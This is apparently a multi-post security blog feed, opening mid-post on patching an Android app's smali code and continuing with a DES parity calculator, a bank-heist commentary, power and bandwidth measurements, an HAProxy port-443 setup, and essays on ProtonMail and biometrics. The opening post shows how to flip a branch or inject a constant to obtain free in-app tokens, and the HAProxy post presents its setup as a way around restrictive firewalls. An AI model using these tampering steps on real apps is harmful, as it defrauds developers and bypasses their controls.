<span class="w"> </span>invoke-interface<span class="w"> </span><span class="p">{</span><span class="nb">v0</span><span class="p">,</span><span class="w"> </span><span class="nb">v3</span><span class="p">},</span><span class="w"> </span><span class="kt">L</span>com/limbenjamin/<span class="nc">ExampleHandler</span>;<span class="p">-></span><span class="nf">creditTokens</span><span class="p">(</span><span class="kt">I</span><span class="p">)</span><span class="kt">V</span>
<span class="w"> </span>move-result<span class="w"> </span><span class="nb">v0</span>
<span class="w"> </span>goto<span class="w"> </span><span class="nl">:goto_0</span>
<span class="k">.end</span><span class="w"> </span><span class="k">method</span>
</code></pre></div></td></tr></table></div>
<p>As you can see, the smali code is much more verbose compared to the Java code. Note that the full class path for all objects is used and there are no imports in smali. Also, try to use the <code>.line numbers</code> to navigate. I have found it very difficult to write smali code. Other than keeping track of what is stored in each register, I have encountered unexplained errors when injecting my own code. I find it easier to simply hijack the control flow. For example, if one wishes to enter the if condition, I would change <code>if-nez v1</code> at line 11 to <code>if-eqz v1</code>, or I could <code>iput-boolean v1, 0x1</code> at line 10. To complete the example, I would have to add <code>const v3, 0xA</code> at line 28, and enjoy 10 free tokens.</p>
<p>Happy Hacking!</p>DES key parity bit calculator2016-07-03T10:44:00+08:002016-07-03T10:44:00+08:00Benjamin Limtag:limbenjamin.com,2016-07-03:/articles/des-key-parity-bit-calculator.html<p>I was doing some reverse engineering and I could not find any tool which expands a 56 bit DES key into a 64 bit key with the parity bit included. Expanding the key is a pretty laborious process involving hex to bin conversions and plenty of manual counting. To add …</p><p>I was doing some reverse engineering and I could not find any tool which expands a 56 bit DES key into a 64 bit key with the parity bit included. Expanding the key is a pretty laborious process involving hex to bin conversions and plenty of manual counting. To add on, some online tools truncate leading 0s when converting hex to bin, causing me to double check and triple check my workings before realising that the tool was the problem. Other tools use <code>parseInt</code> to do the conversion, which is unable to process 56 bit numbers.</p>
<p>I will not elaborate too much into the process as there is enough material online covering the algorithm. Basically, the effective key size of DES is 56 bits. The 64 bit key contains 8 parity bits which can be be calculated from the 56 bit key. The steps are as follows:</p>
<ol>
<li>Convert 56 bit key into binary form</li>
<li>Separate bits into groups of 7 </li>
<li>If there are odd number of 1s in each group, add a 0 bit at the end, else add a 1</li>
<li>Each group should now have 8 bits, convert to hex to get 64 bit key.</li>
</ol>
<p>The entire computation is done in javascript and no information about the key is sent back to my server. Feel free to encrypt or decrypt your deepest darkest secrets. For the paranoid, you can even disconnect from the internet after the page has loaded.</p>
<p><br /></p>
<form>
<fieldset>
<div>
<label for="name">Input 56-bit key in HEX form (e.g. 053113afe954b0) </label>
<textarea rows="4" cols="20" id="input"></textarea>
</div><br />
<div>
<button id="submit">Submit</button>
</div>
</fieldset>
<form>
<div id="result"></div>
<script src="/js/jquery-1-11-1.js"></script>
<script type="text/javascript">
$(document).ready(function () {
function hex2bin(hex) {
if (hex == "0") return "0000"; else if (hex == "1") return "0001"; else if (hex == "2") return "0010"; else if (hex == "3") return "0011";
else if (hex == "4") return "0100"; else if (hex == "5") return "0101"; else if (hex == "6") return "0110"; else if (hex == "7") return "0111";
else if (hex == "8") return "1000"; else if (hex == "9") return "1001"; else if (hex == "A" | hex == "a") return "1010"; else if (hex == "B" | hex == "b") return "1011";
else if (hex == "C" | hex == "c") return "1100"; else if (hex == "D" | hex == "d") return "1101"; else if (hex == "E" | hex == "e") return "1110"; else if (hex == "F" | hex == "f") return "1111";
}
function bin2hex(bin){
if (bin == "0000") return "0"; else if (bin == "0001") return "1"; else if (bin == "0010") return "2"; else if (bin == "0011") return "3";
else if (bin == "0100") return "4"; else if (bin == "0101") return "5"; else if (bin == "0110") return "6"; else if (bin == "0111") return "7";
else if (bin == "1000") return "8"; else if (bin == "1001") return "9"; else if (bin == "1010") return "A"; else if (bin == "1011") return "B";
else if (bin == "1100") return "C"; else if (bin == "1101") return "D"; else if (bin == "1110") return "E"; else if (bin == "1111") return "F";
}
$( "#submit" ).click(function() {
event.preventDefault();
var key56hex = $( "#input" ).val();
if (key56hex.length != 14){
alert("Key is not 56 bits");
return;
}
if (key56hex.match(/^[0-9a-f]+$/i) == null){
alert("Invalid characters in key");
return;
}
var key56bin= ""
for (var i = 0; i < 14; i++){
key56bin += hex2bin(key56hex.charAt(i))
}
var key56binf = "56bit group of 8: " + key56bin.substr(0,8) + " " + key56bin.substr(8,8) + " " + key56bin.substr(16,8) + " " + key56bin.substr(24,8) + " " + key56bin.substr(32,8) + " " + key56bin.substr(40,8) + " " + key56bin.substr(48,8)
var key56binf2 = "56bit group of 7: " + key56bin.substr(0,7) + " " + key56bin.substr(7,7) + " " + key56bin.substr(14,7) + " " + key56bin.substr(21,7) + " " + key56bin.substr(28,7) + " " + key56bin.substr(35,7) + " " + key56bin.substr(42,7) + " " + key56bin.substr(49,7)
var key64 = new Array(8);
var key64binf= "64bit with parity bits: "
for (var i = 0; i < 8; i++){
if (((key56bin.substr(7*i,7)).match(/1/g)||[]).length % 2 ==1)
key64[i] = key56bin.substr(7*i,7) + "0";
else
key64[i] = key56bin.substr(7*i,7) + "1";
key64binf += key64[i] + " ";
}
var key64hexf = "64bit with parity bits: "
for (var i = 0; i < 8; i++){
key64hexf += bin2hex(key64[i].substr(0,4)) + bin2hex(key64[i].substr(4,4));
}
$( "#result" ).html(key56binf + "<br />" + key56binf2+ "<br />" + key64binf + "<br />" + key64hexf);
});
});
</script>Bangladesh bank heist2016-06-12T13:05:00+08:002016-06-12T13:05:00+08:00Benjamin Limtag:limbenjamin.com,2016-06-12:/articles/bangladesh-bank-heist.html<p>The <a href="http://www.reuters.com/article/us-usa-fed-bangladesh-idUSKCN0XI1UO">media</a> initially attributed the hack to a couple of cheap second-hand $10 switches. However, according to <a href="http://baesystemsai.blogspot.sg/2016/04/two-bytes-to-951m.html">further reverse engineering</a>, this is not a snatch and grab but a full scale bank heist perpetrated by determined adversaries with resources at their disposal. Even if the bank had purchased and properly …</p><p>The <a href="http://www.reuters.com/article/us-usa-fed-bangladesh-idUSKCN0XI1UO">media</a> initially attributed the hack to a couple of cheap second-hand $10 switches. However, according to <a href="http://baesystemsai.blogspot.sg/2016/04/two-bytes-to-951m.html">further reverse engineering</a>, this is not a snatch and grab but a full scale bank heist perpetrated by determined adversaries with resources at their disposal. Even if the bank had purchased and properly configured state-of-the-art firewalls and intrusion prevention systems, it would at most have delayed the attack by several months.</p>
<p>The group which attacked the bank comprised members with a myriad of skills. The most obvious would be the hacking skills to gain a foothold in the network, move laterally and pivot into the subnet hosting the SWIFT system. They needed the skills to understand assembly code to replace instructions to bypass validation. Next, they needed Fintech knowledge, understand the various SWIFT transaction codes such as "MT 900 Confirmation of Debit", the use cases and also the message flow. More importantly, they needed auditors who understand the reconciliation process and know the various checks which are conducted. These auditors would be able to advise them on how to hide these transactions both in the database and on printouts so as not to raise a red flag. They would understand terms such as "convertible currency" so as not to overdraw from the account.</p>
<p>Finally, the criminal element, they needed to know which banks were most lax in requirements, allowing huge withdrawals. Then comes coordinating the movement of hundreds if not thousands of money mules. The mules must evade the authorities but still remain trackable by the group. After all, they would not want the mules to disappear with the money. It is a massive administrative task to book the flights, account for time zone differences, various bank opening hours, movement plans and so on. I would not be surprised if the group had admin staff to track expenses, working hours, and paid out salaries on a regular basis. </p>
<p>The SWIFT system cannot be fully standalone. An $81 million transfer must have been triggered by a request made by a customer that is tracked in another system. The reconciliation process thus maps these transactions to ensure that each and every one is accounted for, thus the necessity in hiding the SWIFT transactions. If there was a firewall in place, the attackers would then have to work with the auditors to identify this system and use it to pivot into the SWIFT subnet. Given their skill set, I am pretty sure that it is achievable.</p>
<p>This was not done by some kid in a basement who chanced upon an unsecured system. There was an entire group behind which methodically chipped away the layers of security to finally expose the core. The person responsible for the spelling error was probably killed for his $800 million mistake. The expenses are not negligible either, considering the cost of hundreds if not thousands of round trip flights and accommodation for the mules. After paying off the expenses and drawing up a P&L, the operation probably still turned a profit, albeit a much smaller one than intended.</p>Measuring Power Consumption2016-05-15T14:11:00+08:002016-05-15T14:11:00+08:00Benjamin Limtag:limbenjamin.com,2016-05-15:/articles/measuring-power-consumption.html<p>I have recently acquired an electricity usage meter off ebay and decided to measure the power consumption of some of my devices. For a device that costs just 15 SGD, it works wonderfully and can measure voltage, amperage and wattage. It is supposed to be able to calculate electricity cost …</p><p>I have recently acquired an electricity usage meter off ebay and decided to measure the power consumption of some of my devices. For a device that costs just 15 SGD, it works wonderfully and can measure voltage, amperage and wattage. It is supposed to be able to calculate electricity cost once you input the cost/kWh but I prefer to calculate it manually instead of leaving it plugged in throughout the day. It is rated to a maximum wattage of 2900W so it should be safe for use on most small home appliances. For energy guzzlers such as air conditioners, washing machines or anything with a heating element, use at your own risk.</p>
<p><img alt="image" src="//limbenjamin.com/media/power.jpg"></p>
<p>The current price of electricity in Singapore is 17.68 cents/kWh.</p>
<p>Readings I have obtained:</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span>
<span class="normal">42</span>
<span class="normal">43</span>
<span class="normal">44</span>
<span class="normal">45</span>
<span class="normal">46</span>
<span class="normal">47</span>
<span class="normal">48</span>
<span class="normal">49</span>
<span class="normal">50</span>
<span class="normal">51</span>
<span class="normal">52</span>
<span class="normal">53</span>
<span class="normal">54</span>
<span class="normal">55</span>
<span class="normal">56</span>
<span class="normal">57</span>
<span class="normal">58</span>
<span class="normal">59</span>
<span class="normal">60</span>
<span class="normal">61</span>
<span class="normal">62</span></pre></div></td><td class="code"><div><pre><span></span><code>--------------------------------------------------------------------
Desktop Computer
--------------------------------------------------------------------
CPU i7-4770 @ 3.40GHz
RAM 12GB DDR3
Motherboard ASRock Z87M Extreme4
Graphics 4GB NVIDIA GeForce GTX 970
Storage 240GB Crucial SSD
PSU Corsair CX600
Off: 3.5W
Idle at Desktop: 53.7W
Playing Fallout 4: 211W
Cost (6hrs/day at average load): 4.35 SGD
--------------------------------------------------------------------
Dell U2312HM Monitor
--------------------------------------------------------------------
Standby (Power Button pressed): 0.2W
Desktop: 17.2W
Playing Youtube video in 1080p: 18.2W
Cost (6hrs/day at average load): 0.58 SGD
--------------------------------------------------------------------
Acer W700 Tablet/Laptop Hybrid
--------------------------------------------------------------------
CPU i5-3317u @ 1.70GHz
RAM 4GB DDR3 RAM
Storage 64GB SSD
Misc Wifi/Bluetooth
Idle: 12.6W
Playing Youtube video in 1080p: 17.3W
Cost (6hrs/day at average load): 0.49 SGD
--------------------------------------------------------------------
Radxa Rock
--------------------------------------------------------------------
CPU ARM Cortex-A9 quad core @ 1.6Ghz
Memory 2GB DDR3
Storage 8GB NAND Flash
Misc Wifi/Bluetooth
Idle: 3.6W
Load (Prime number generation): 4.9W
Cost (24/7): 0.55 SGD
--------------------------------------------------------------------
Home Server
--------------------------------------------------------------------
CPU i3-4150 CPU @ 3.50GHz
Memory 8GB DDR3
Storage 500GB 2.5" WD HDD
Normal Load: 38.9W
Cost (24/7): 5.11 SGD
</code></pre></div></td></tr></table></div>
<p>One of the interesting observations was just how little power modern computers require. I own a relatively high end system with an i7 CPU and a GTX970 card but it consumes only 211W under load, scaling down efficiently to only 54W idle. It also consumes 3.5W even when switched off, I suspect this is due to the network card being set on a low power state to receive Wake On Lan packets. 3.5W is coincidentally the amount of power my quad core ARM server consumes when idling.</p>
<p>My headless server consumes only 38.9W at regular load, costing approximately 5.11 SGD in electricity costs per month. This puts to an end the long standing argument that Digital Ocean's 5 USD/month VPS is cheaper than running your own server. A VPS does have its benefits, it does not require a capital outlay of approximately 300 SGD in equipment and is easier to set up and scale up. However, running your own server allows you to have much more storage for all your media and backups. Since the server is on the local network, you have much better bandwidth and latency. An old laptop is perfect for using as a server, you get to save on hardware costs and it consumes little power.</p>
<p>The table below shows a comparison of the power consumption of other household devices and the electricity cost of running it for 100 hours. Through this episode, I am glad to know that my electronic devices are not significant contributors to the power bill. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span></pre></div></td><td class="code"><div><pre><span></span><code>--------------------------------------------------------------------
Appliance Wattage Cost per 100 hours
--------------------------------------------------------------------
Study lamp 23.2W 0.41 SGD
Table Fan Speed 1 26.7W 0.47 SGD
Table Fan Speed 2 32.2W 0.57 SGD
Table Fan Speed 3 38.1W 0.67 SGD
Cordless Phone 2.2W 0.04 SGD
40"+ LED TV 55.1W 0.97 SGD
Dell Monitor 17.7W 0.31 SGD
High End Desktop 132.35W 2.34 SGD
Ordinary Desktop 38.9W 0.69 SGD
Router 4.2W 0.07 SGD
</code></pre></div></td></tr></table></div>Saturating 1Gbps bandwidth2016-04-26T14:35:00+08:002016-04-26T14:35:00+08:00Benjamin Limtag:limbenjamin.com,2016-04-26:/articles/saturating-1gbps-bandwidth.html<p>My ISP recently gave me a free speed bump from 500Mbps to 1 Gbps. I wanted to test if it was possible to fully utilise the bandwidth on a single file transfer. Firstly, we need to look at the test file size. I settled on a roughly 500MB to 1GB …</p><p>My ISP recently gave me a free speed bump from 500Mbps to 1 Gbps. I wanted to test if it was possible to fully utilise the bandwidth on a single file transfer. Firstly, we need to look at the test file size. I settled on a roughly 500MB to 1GB file size to minimise the effect of TCP window size scaling. To use an analogy, window size scaling is like when 2 joggers do not know each other's running pace, so they both start off with a slow jog. They then slowly increase the pace until it reaches the limit for one of the joggers, they then continue at that pace for the rest of the distance. The problem is when the distance is too short, that slow start is going to affect the average speed greatly, therefore the distance should be long enough. Similarly, the file size has to be large enough. In hindsight, I should have settled on a slightly larger file size, probably 3GB, since 500MB should theoretically take only 4 seconds to download on a 1Gbps connection.</p>
<p>Firstly, I tested out my local network. No problems here, 113MBps = 0.904Gbps, just shy of 1Gbps. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span></pre></div></td><td class="code"><div><pre><span></span><code>$ aria2c https://limbenjamin.com/files/ubuntu-14.04.4-server-i386.iso
Download Results:
gid |stat|avg speed |path/URI
======+====+===========+=======================================================
xxxxxx|OK | 113MiB/s|/home/Benjamin/ubuntu-14.04.4-server-i386.iso
</code></pre></div></td></tr></table></div>
<p>Next, <code>speedtest.com.sg</code> , 38Mbps = 0.304Gbps, only about a third of the speed. I am sticking to Singapore based servers because anything outside would incur huge speed penalties, making it impossible to hit the speed limit.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span></pre></div></td><td class="code"><div><pre><span></span><code>$ aria2c --split=8 http://www.speedtest.com.sg/test_random_1000mb.zip
Download Results:
gid |stat|avg speed |path/URI
======+====+===========+=======================================================
xxxxxx|OK | 38MiB/s|/home/Benjamin/test_random_1000mb.zip
</code></pre></div></td></tr></table></div>
<p>Ok, next up, <code>mirror.nus.edu.sg</code>. From past experience, I know that I can obtain very good speeds from this server. I used <code>aria2c</code> instead of the more common <code>wget</code> because it supports multiple simultaneous connections. Notice that 16 connections is slightly slower than 8 connections, probably takes a little longer to splice the parts together.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span></pre></div></td><td class="code"><div><pre><span></span><code>$ aria2c http://mirror.nus.edu.sg/ubuntu-ISO/14.04.4/ubuntu-14.04.4-server-i386.iso
Download Results:
gid |stat|avg speed |path/URI
======+====+===========+=======================================================
xxxxxx|OK | 6.5MiB/s|/home/Benjamin/ubuntu-14.04.4-server-i386.iso
$ aria2c --split=8 http://mirror.nus.edu.sg/ubuntu-ISO/14.04.4/ubuntu-14.04.4-server-i386.iso
Download Results:
gid |stat|avg speed |path/URI
======+====+===========+==========1=============================================
xxxxxx|OK | 55MiB/s|/home/Benjamin/ubuntu-14.04.4-server-i386.iso
$ aria2c --split=16 http://mirror.nus.edu.sg/ubuntu-ISO/14.04.4/ubuntu-14.04.4-server-i386.iso
Download Results:
gid |stat|avg speed |path/URI
======+====+===========+=======================================================
xxxxxx|OK | 52MiB/s|/home/Benjamin/ubuntu-14.04.4-server-i386.iso
</code></pre></div></td></tr></table></div>
<p>It appears that 1 server might not be enough, how about downloading from 2 different servers, 8 connections per server. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span></pre></div></td><td class="code"><div><pre><span></span><code>$ aria2c --split=16 http://mirror.nus.edu.sg/ubuntu-ISO/14.04.4/ubuntu-14.04.4-server-i386.iso http://download.nus.edu.sg/mirror/ubuntu-releases/14.04.4/ubuntu-14.04.4-server-i386.iso
Download Results:
gid |stat|avg speed |path/URI
======+====+===========+=======================================================
xxxxxx|OK | 51MiB/s|/home/Benjamin/ubuntu-14.04.4-server-i386.iso
</code></pre></div></td></tr></table></div>
<p>Ok, just for fun, 4 different servers, 8 connections per server. I expected the speeds to take a huge dive because aria2c naively chops the file into 4 equal chunks for each server, since the last 2 servers are located overseas and are much much slower, we end up having to wait for them, thus explaining the poor performance.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span></pre></div></td><td class="code"><div><pre><span></span><code>$ aria2c --split=32 http://mirror.nus.edu.sg/ubuntu-ISO/14.04.4/ubuntu-14.04.4-server-i386.iso http://download.nus.edu.sg/mirror/ubuntu-releases/14.04.4/ubuntu-14.04.4-server-i386.iso http://mirror.pregi.net/ubuntu-cdimage/14.04.4/ubuntu-14.04.4-server-i386.iso http://mirror.umd.edu/ubuntu-iso/14.04.4/ubuntu-14.04.4-server-i386.iso
Download Results:
gid |stat|avg speed |path/URI
======+====+===========+=======================================================
xxxxxx|OK | 32MiB/s|/home/Benjamin/ubuntu-14.04.4-server-i386.iso
</code></pre></div></td></tr></table></div>
<p>At this point, my best result is 55MBps = 0.440Gbps, under half of the limit. It could be due to:</p>
<ol>
<li>Hardware can switch 1Gbps but cannot route 1Gbps, need to upgrade router</li>
<li>Singtel not actually providing full 1Gbps bandwidth</li>
<li>NUS servers throttle bandwidth for a single IP address</li>
</ol>
<p>Yes, I can connect to multiple servers to download multiple different files at the same time, but most fast (>100mbps) speedtest sites only provide 100MB test files which complete in about 3 seconds, hence it is difficult to obtain reliable readings. </p>
<p>Now to think of it, I have never experienced speeds close to or above 55MBps. Not through downloads, torrents, SCP or any other transfer methods. Most of the time, the transfer speeds are dramatically lower due to the server bottleneck. Sometime back, I wrote about <a href="https://limbenjamin.com/articles/2-gbps-fibre-is-a-gimmick.html">2gbps fibre being just a gimmick</a>, most of it was just theory, and today I have provided the actual findings. Maybe I should revise the title to 1gbps being a gimmick as well. </p>Running HTTPS, SSH and VPN on port 4432016-04-16T15:57:00+08:002016-04-16T15:57:00+08:00Benjamin Limtag:limbenjamin.com,2016-04-16:/articles/running-https-ssh-vpn-on-port-443.html<p>A port can only be bound to one service at a time, which makes perfect sense since the OS cannot possibly know which application to route the packet to. However, protocols often have distinct signatures, for example the first few bytes of SSH is always <code>SSH-2.0</code> while HTTP packets …</p><p>A port can only be bound to one service at a time, which makes perfect sense since the OS cannot possibly know which application to route the packet to. However, protocols often have distinct signatures, for example the first few bytes of SSH is always <code>SSH-2.0</code> while HTTP packets always start with <code>{HEAD|GET|PUT|POST|DELETE|OPTIONS}</code>. So technically, it should be possible for a proxy application to perform Deep Packet Inspection (DPI) and route it to the correct service if the signatures are provided. </p>
<p><a href="http://www.haproxy.org">HAProxy</a> is one such application, with the capability to redirect packets at both TCP as well as HTTP (application) layer. A word of warning though, the documentation is a tad lengthy, 110,000 words over 15,000 lines. After a few weeks of messing around with the settings, I finally got it to work and now have HTTPS, SSH and VPN listening on port 443.</p>
<p>This is not purely an academic exercise, there are some real world benefits. Firstly, if you are connecting from behind a restrictive firewall, say one that only allows port 80 and 443, you will now be able to SSH/VPN out of that network, unless of course that restrictive firewall itself performs DPI, in which case, you might have to consider tunnelling SSH through SSL, which incidentally is also supported by HAProxy. Secondly, you can "cloak" your services. Someone performing a port scan would only see the default service, thus adding another layer of security to your server.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span>
<span class="normal">42</span>
<span class="normal">43</span>
<span class="normal">44</span>
<span class="normal">45</span>
<span class="normal">46</span>
<span class="normal">47</span>
<span class="normal">48</span>
<span class="normal">49</span></pre></div></td><td class="code"><div><pre><span></span><code>$ cat /etc/haproxy.cfg
global
tune.ssl.default-dh-param 2048
defaults
timeout connect 5000
timeout client 50000
timeout server 50000
frontend ssl
mode tcp
bind 0.0.0.0:443
tcp-request inspect-delay 5s
tcp-request content accept if HTTP
use_backend ssh if { payload(0,7) -m bin 5353482d322e30 }
use_backend main-ssl if { req.ssl_hello_type 1 }
default_backend openvpn
frontend main
bind 127.0.0.1:443 ssl crt /some/folder/cert.pem accept-proxy
mode http
option forwardfor
default_backend webserver
frontend http
bind 0.0.0.0:80
reqadd X-Forwarded-Proto:\ http
default_backend webserver
backend main-ssl
mode tcp
server main-ssl 127.0.0.1:443 send-proxy
backend openvpn
mode tcp
timeout server 2h
server openvpn-localhost 127.0.0.1:1193
backend ssh
mode tcp
timeout server 2h
server ssh-localhost 127.0.0.1:22
backend webserver
mode http
option forwardfor
redirect scheme https code 301 if !{ ssl_fc }
server webserver-localhost 127.0.0.1:81
</code></pre></div></td></tr></table></div>ProtonMail: Technical prowess, Legal expertise and Guts2016-03-20T20:12:00+08:002016-03-20T20:12:00+08:00Benjamin Limtag:limbenjamin.com,2016-03-20:/articles/protonmail-technical-prowess-legal-expertise-and-guts.html<p>Technical prowess, Legal expertise and Guts. That is what you need to go up against a Nation State Adversary. We shall take the Apple vs US Government debate as an example. Apple obviously has the technical prowess to store the iPhone's PIN code securely. If it were easily retrievable, the …</p><p>Technical prowess, Legal expertise and Guts. That is what you need to go up against a Nation State Adversary. We shall take the Apple vs US Government debate as an example. Apple obviously has the technical prowess to store the iPhone's PIN code securely. If it were easily retrievable, the government would not have had to resort to a legal avenue. Apple also possesses the legal expertise to appeal against the court order and subsequently mount a legal defence. Lastly, it takes some guts to go against the US government. </p>
<p><a href="https://protonmail.com/">ProtonMail</a> is a secure email service based in Switzerland that promises end-to-end encryption. It takes a fair amount of technical prowess to ensure that the architecture design is sound. ProtonMail uses a novel approach where your private key is symmetrically encrypted with your mailbox password and then uploaded to ProtonMail's server. The mailbox password never leaves the machine and users are authenticated via a different login password. I can see 2 potential flaws with this approach. Firstly, it is probably one of the largest collections of private keys, I bet you that the top 10 most common passwords will successfully decrypt at least 1% of the keys. Secondly, when asked to create 2 passwords, users will likely choose the same password. In the event of a security breach, if the attackers manage to obtain a pre-image of the login password hash, they will be able to decrypt the private key since both passwords are the same. The registration page does not even remind them to use 2 different passwords. </p>
<p><img alt="protonmail" src="//limbenjamin.com/media/protonmail.png"></p>
<p>Implementation is yet another nightmare, apart from following the design to spec, developing a secure web application is difficult due to the many layers of abstraction. The web app runs on a browser which runs on the operating system which runs on hardware. The web application is unable to directly access the system memory, hence there is a possibility of portions of the unencrypted private key being left in memory due to improper garbage collection. If there is a vulnerability in the browser, a site in a different tab might be able to escape the sandbox and access the private memory of the web app. Further compounding the problem is the fact that are a whole lot of browsers out there, each with a whole lot of different versions. </p>
<p>A number of events have led me to doubt their technical ability. First, the <a href="http://www.techrepublic.com/article/exclusive-inside-the-protonmail-siege-how-two-small-companies-fought-off-one-of-europes-largest-ddos/">week long DDOS attack</a>. Yes, it was a sophisticated attack, but the fact remains that they failed to handle it. It was finally resolved after a number of external companies and engineers chipped in to help out. A quick look at their staff profiles reveal that many of them, including a self proclaimed crypto expert, have PhDs in Physics from Ivy League universities. Yes, these are the brightest minds, and yes, it is rocket science. But I wouldn't trust them to do heart bypass surgery, nor do I trust them to design and implement secure computer systems.</p>
<p>Next, the part on legal expertise. ProtonMail seems to bank hard on Swiss privacy laws to save them from the US government. They seem to forget that barely 7 years ago, the <a href="http://www.washingtonpost.com/wp-dyn/content/article/2009/02/18/AR2009021802541.html">US government used FATCA to step all over Swiss banking secrecy laws</a>. Although UBS is a bank based in Switzerland, they had to pay USD780 million in fines and were forced to reveal the names of some of their clients. It is not hard to imagine a future worldwide "anti terrorism bill" forcing ProtonMail to decrypt communications belonging to "suspect terrorists". I doubt ProtonMail even has the funds to hire a lawyer. The payout for their bug bounty program ranges from $50 to $250. I have lived in Geneva, so trust me, USD50 doesn't go far, it is enough for lunch and dinner at the coop supermarket chain and probably a coffee. </p>
<p>Lastly on guts. When ProtonMail was DDOSed, they were pressured by other companies who were also affected into paying the $6000 ransom that was demanded. They caved. I can't imagine them standing against the US government. </p>Biometrics and Passwords2016-02-21T15:50:00+08:002016-02-21T15:50:00+08:00Benjamin Limtag:limbenjamin.com,2016-02-21:/articles/biometrics-and-passwords.html<p>Many people have the misconception that biometrics such as fingerprint readers are more secure than passwords. It probably stems from Hollywood spy movies showing Top Secret facilities protected by biometric devices. However, for the vast majority of us who use sensible 8-12 character passwords and limit reuse, passwords are generally …</p><p>Many people have the misconception that biometrics such as fingerprint readers are more secure than passwords. It probably stems from Hollywood spy movies showing Top Secret facilities protected by biometric devices. However, for the vast majority of us who use sensible 8-12 character passwords and limit reuse, passwords are generally much safer than biometrics.</p>
<p>The first problem with biometrics is its immutability. We cannot change our fingerprints so we are using the same fingerprints to authenticate with various agencies or companies, this is not unlike using the same password for different services. For example, if you were fingerprinted when crossing the border. The government of that country could actually use that image to create a fake finger and use it to gain access to your company premises. Immutability also means that if a high resolution image of your fingerprint is leaked onto the web, you would have to worry about identity theft for the rest of your life. It is like having your password leaked and lacking the ability to reset the password. Worse still, you are forced to use the same password when registering for all other services for the rest of your life. Leaks have indeed <a href="http://www.nbcnews.com/tech/security/opm-hack-government-finally-starts-notifying-21-5-million-victims-n437126">happened</a> before.</p>
<p>The second problem with biometrics lies in the fact that it is more difficult to safely store a biometric template compared to a password. A password can be hashed before storage. Hashing is a one way function and thus even if cybercriminals managed to obtain the hash, it is extremely difficult to find the password which corresponds to the hash. It is possible to use hashing because users are able to supply the exact same password every single time, however with biometrics, every single fingerprint scan is going to be slightly different due to dirt on the finger, angle of the finger or even how fast you swipe your finger. As a result, every single scan will produce a different hash and it is impossible to authenticate a user based on the hash alone. Hence the entire template, which stores the distance between the ridges or distinct points on the fingerprint must be retained. Armed with this information, it is possible to create a fake finger with the same dimensions. The safest way to store a biometric template is on hardware such as a secure element used by the iPhone or a hardware security module, however these solutions introduce additional complications and may not come cheap.</p>
